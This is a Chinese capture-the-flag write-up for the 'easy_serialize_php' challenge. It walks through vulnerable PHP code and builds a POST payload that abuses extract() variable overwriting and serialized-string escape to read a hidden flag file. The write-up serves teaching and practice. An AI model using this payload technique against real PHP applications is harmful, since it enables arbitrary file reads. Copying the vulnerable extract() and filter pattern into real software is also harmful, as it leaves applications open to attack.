[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php - DGhh - 博客园 (cnblogs.com)

[安洵杯 2019]easy_serialize_php - 何止(h3zh1) - 博客园 (cnblogs.com)

涉及的考点是字符串逃逸

php 复制代码
<?php
//GET一个f
$function = @$_GET['f'];
 
//定义过滤的字符串数组
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g'); 
    //将数组元素拼接成正则表达式的形式
    $filter = '/'.implode('|',$filter_arr).'/i';
    //使用正则表达式替换掉这些字符串
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

//如果f不存在,就显示初始的帮助页面
if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

//如果GET请求中没有'img_path'参数
if(!$_GET['img_path']){
    //设置默认会话图片路径
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    //将传入的图片路径进行base64编码后在进行shal哈希(再次对其进行一次加密)
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

//将会话信息进行了序列化
$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

先来看一下最后的一段代码

php 复制代码
//f=highlight_file就显示index.php
if($function == 'highlight_file'){
    highlight_file('index.php');
//f=phpinfo就显示PHP配置信息
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
//最后一段就是我们拿到flag的关键吧,f=show_image,
}else if($function == 'show_image'){
    //反序列化后得到的会话数据
    $userinfo = unserialize($serialize_info);
    //输出base64解码后的图片内容
    echo file_get_contents(base64_decode($userinfo['img']));
}

然后我们看看phpinfo里面有什么

看到auto_append_file函数里面有个 d0g3_f1ag.php,这肯定是我们要拿到flag的关键

d0g3_f1ag.phpbase64加密为ZDBnM19mMWFnLnBocA==

php 复制代码
//将会话信息进行了序列化并且过滤
$serialize_info = filter(serialize($_SESSION));

继续向上看代码,上面的filter应该是对其传入的会话信息进行了一次过滤

然后出现了一个变量覆盖

php 复制代码
if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

unset$_SESSION进行了销毁

后面又重新定义了$_SESSION

但是extract函数对变量进行了覆盖

extract函数从数组中将变量导入到当前的符号表。

举个栗子

php 复制代码
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);
?>

POST一个flag上去就将_SESSION里面的值完全覆盖了

直接_SESSION['img']是不行的,因为后面还对_SESSION[img]又进行了一次加密,这样传到下面的值输出后就不正确了

所以我们需要让guest_img.png逃逸,让其不进行shal加密

然后获得了一个新的知识点

php字符串逃逸

举个栗子

php 复制代码
<?php
$img['one'] = "flag";
$img['two'] = "tqlu";
$a = serialize($img);
var_dump($a);
?>

img是一个数组,将数组进行序列化后是"a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlu";}"

php 复制代码
<?php
$a='a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlu";}';
var_dump(unserialize($a));
$b='a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlu";}abc';
var_dump(unserialize($b));
?>

就算在}后面添加了abc,最后输出也是上面那那串反序列化的东西,说明反序列化是会处理垃圾信息的

反序列化是有一定的范围的,对应的格式不能出错,如果s:3:'one'那么s:3后面就就必须要有长度为3的字符串,不然就会向后继续要,这就算是逃逸

那我们这样构造一个数组呢

php 复制代码
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
?>

得到了这样一串

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

因为要让guest_img.png进行逃逸,所以可以将img这段放到花括号外面去,所以这样子写呢

php 复制代码
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
?>
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

花括号外面的是垃圾数据了

现在我们需要的数据是";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

就是我们可以过滤器过滤掉php或者flag将我们把不要的东西给去掉

我们不要的是;s:8:"function";s:42:"a"这一串东西,一共是24个字符

所以需要6个flag进行这个过滤

构造一下

php 复制代码
<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
?>

执行出来是这样

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

flag被过滤

a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

向后延24位,所以

s:24就相当于  ;s:8:"function";s:42:"a"

我们剩下的是:
a:3:{s:4:"user";s:24:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}还剩下了user和img这两个值
去掉垃圾数据
a:3:{s:4:"user";s:24:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

所以

为什么后面还有加一个s:2:"aa";s:1:"a";,因为}不是被当作垃圾数据处理了嘛,但是这个数组有三个值,所以我们在后面自己构造一个

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"a";}

/d0g3_fllllllag

base64后是L2QwZzNfZmxsbGxsbGFn还是20位

直接改

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:1:"a";}

这道题好抽象,想了好久

相关推荐
明天…ling33 分钟前
Web前端开发
前端·css·网络·前端框架·html·web
向宇it8 小时前
FastAdmin列表用echats渲染,使用表格的templateView实现一个图表渲染的功能
php·web·fastadmin
VinciYan1 天前
Rust使用Actix-web和SeaORM库开发WebAPI通过Swagger UI查看接口文档
rust·api·web·orm
ChinaRainbowSea1 天前
十三,Spring Boot 中注入 Servlet,Filter,Listener
java·spring boot·spring·servlet·web
ChinaRainbowSea2 天前
十八,Spring Boot 整合 MyBatis-Plus 的详细配置
java·数据库·spring boot·spring·mybatis·web
OEC小胖胖3 天前
js进阶-作用域是什么
开发语言·前端·javascript·ecmascript·web
B.-3 天前
Remix 学习 - @remix-run/react 中主要的 hooks
前端·javascript·学习·react.js·web
ChinaRainbowSea3 天前
十六,Spring Boot 整合 Druid 以及使用 Druid 监控功能
java·spring boot·后端·spring·web
B.-4 天前
Remix 学习 - @remix-run/react 中的主要组件
前端·javascript·学习·react.js·web
OEC小胖胖4 天前
MyBatis 如何将 Mapper 接口与其 XML 映射文件关联:深入原理与实现
xml·java·后端·mybatis·web